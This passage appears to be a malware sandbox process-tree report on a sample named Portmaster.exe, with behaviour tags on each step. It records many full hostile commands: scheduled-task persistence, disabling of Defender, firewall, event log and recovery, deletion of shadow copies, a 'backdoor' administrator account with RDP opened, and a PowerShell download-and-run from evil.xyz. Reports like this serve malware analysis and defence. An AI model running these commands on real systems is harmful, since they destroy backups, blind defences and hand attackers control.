    PID:1216
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:2840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:2272
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1412
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5860
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8544
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:9168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:6884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:7532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:1588
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:2760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:8444
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:7620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:8752
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:3980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:6388
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:6824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:7080
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:7716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:7224
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:6460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:6052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:8028
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:7300
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:9420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:9416
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:5188
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:6656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:9588
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:7036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:1044
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:4536
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10212
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:9836
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:11696
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:6500
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:1856
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:10612
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:11404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:13780
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8068
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10292
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7076
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:6180
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:10984
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10980
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:11208
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:6400
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:2480
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:13016
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:5584
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10272
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7112
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:11324
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:7340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:8064
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:3216
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:4024
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10256
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:11568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6036
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:13020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4520
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10584
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:10140
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:13720
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:1764
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10472
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:10744
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:6688
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:14060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    PID:6408
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:7192
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:4468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:3248
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4512
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:4144
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4968
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6544
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:6392
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:6968
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:3136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:8820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:7952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:9976
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:7156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:9668
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      PID:7952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:7784
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5784
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:5296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:10636
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:11732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:12276
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      PID:11116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:7456
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:5648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:2556
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1800
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:488
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:3476
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:244
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6836
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:1500
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8280
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:4056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:6692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:9628
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:1776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:9672
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:10216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:2740
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:9824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:6212
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:7544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:9552
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:1304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:10288
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:2292
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:9616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:5168
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:12496
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:428
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:6084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:2140
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4972
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:4044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:1084
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:2420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6772
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8320
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:7820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:7052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:3932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:5148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:2932
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:6456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:916
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:7832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:7984
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7212
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
